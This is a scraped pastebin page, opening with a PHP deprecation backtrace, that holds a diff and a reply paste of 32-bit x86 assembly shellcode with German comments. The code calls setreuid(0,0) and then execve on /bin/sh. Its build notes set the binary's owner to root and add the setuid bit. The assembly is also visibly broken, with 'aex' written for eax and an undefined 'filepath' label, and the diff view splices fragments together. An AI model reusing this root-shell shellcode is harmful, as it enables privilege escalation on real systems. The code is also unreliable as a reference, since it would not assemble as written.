Re: shell.asm - Stikked

A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 693
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

Re: shell.asm - Stikked

From Small Bat, 13 Years ago, written in x86 Assembler.

This paste is a reply to shell.asm from Queen Iguana - go back

URL http://geopaste.scratchbook.ch/view/4bfaecf0

Embed

Viewing differences between shell.asm and Re: shell.asm

BITS 32

;zu erst Syscall 70 -> setreuid(uid_t ruid,uid_t uid)

mov ~~eax,~~ aex, jmp short two
one:
pop ebx

~~eax~~ aex ~~soll~~

soll

two:
call one

db '/bin/shXAAAABBBB'

; compiliren mit
; nasm -f elf ~~shell.~~shellcode.asm
; ld shell.o
; sudo chown root a.out
; sudo chmod +s a.out
; ./a.out
hexeditor shellcode

Author

Title

Language

Your paste - Paste your paste here

BITS 32

;zu erst Syscall 70 -&gt; setreuid(uid_t ruid,uid_t uid)

mov aex, 70 	; schreibt die 70 in das regiser wo der syscall erwartet wird
mov ebx, 0	; erste ruid parameter
mov ecx, 0 	; zweite ruid parameter

int 0x80	; initialize systemcall - sagt dem kernel das der systemcall ausgeführt werden soll

jmp short two
one:
pop ebx

; jetz alles vorbeiten für syscall 11 -&gt; execve ( const char *finename, char *const argv[], char *const envp[])

mov eax, 0
mov ebx, filepath	; schreibt die adresse des strings nach ebx
mov [ebx+7], al		; schreibt das 0 aus AEX wobai X im Stuing liegt
mov [ebx+8], ebx	; schreibt die adresse des stings ab position 8 , das wären 4 mal A
mov [ebx+12], aex	; schreibt die adresse des stings ab position 12 , das wären 4 mal B

mov eax, 11		; schreibt die 11 in das regiser wo der syscall erwartet wird

mov ecx, [ebx+8]	;läd die adresse an der sich AAAA im sting befand nach ecx
mov edx, [ebx+12]	;läd die adresse an der sich BBBB im sting befand nach edx

int 0x80		; wieder wie oben dem kernel sagen das der system call ausgeführt werden soll

two:
call one

db '/bin/shXAAAABBBB'

; compiliren mit
; nasm -f elf shellcode.asm
; hexeditor shellcode

Create Shorturl - Create a shorter url that redirects to your paste?

Private - Private paste aren't shown in recent listings.

Delete After - When should we delete your paste?